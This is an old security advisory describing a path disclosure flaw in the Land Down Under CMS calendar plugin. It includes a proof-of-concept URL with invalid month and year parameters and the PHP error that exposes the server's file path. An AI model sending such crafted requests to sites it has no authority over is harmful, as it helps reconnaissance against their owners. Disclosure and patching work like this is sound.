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Land Down Under 802 and below version Path Disclosure Vulnerability

Subject: Land Down Under 802 and below version Path Disclosure Vulnerability
Date: 27 Apr 2006 05:01:27 -0000
Land Down Under 802 and below version  Path Disclosure Vulnerability

#-------------------------------------------------------------------------------------------------------------------------------
#Aria-Security.net Advisory
#Discovered  by:R@1D3N (amin emami)
#date:21/04/2006
#original advisory:http://www.aria-security.net/advisory/ldu/ldu.txt
#<AminRayden@yahoo.com>
#special thanks  to:A.u.r.a  & O.u.t.l.a.w & Smok3r & behzad & majid and all 
Persian Security team
#--------------------------------------------------------------------------------------------------------------------------------'

? Affected software description:
LDU <= 802 and below version (Land Down Under)
Vendor: http://www.neocrome.net



? information:
A vulnerability in LDU allow attackers to determine the physical path of the 
application.
This vulnerability would allow a remote user to determine the full path to the 
web root directory and other potentially sensitive information.

The attack is performed by submitting a specially crafted HTTP request, such as 
a request for an invalid month and year


? Proof of Concept:

Path disclosure vulnerability:
http://localhost/plug.php?p=calendar&m=aria-security.net&y=R@1D3N

error:
warning:checkdate() expects parameter 1 to be long
,string given in 
/home/lothi8196/public_html/plugins/standard/calendar/calendar.php 
on line 100



Solution:
There is no solution to the full path disclosure yet.
Advisory@Aria-Security.net

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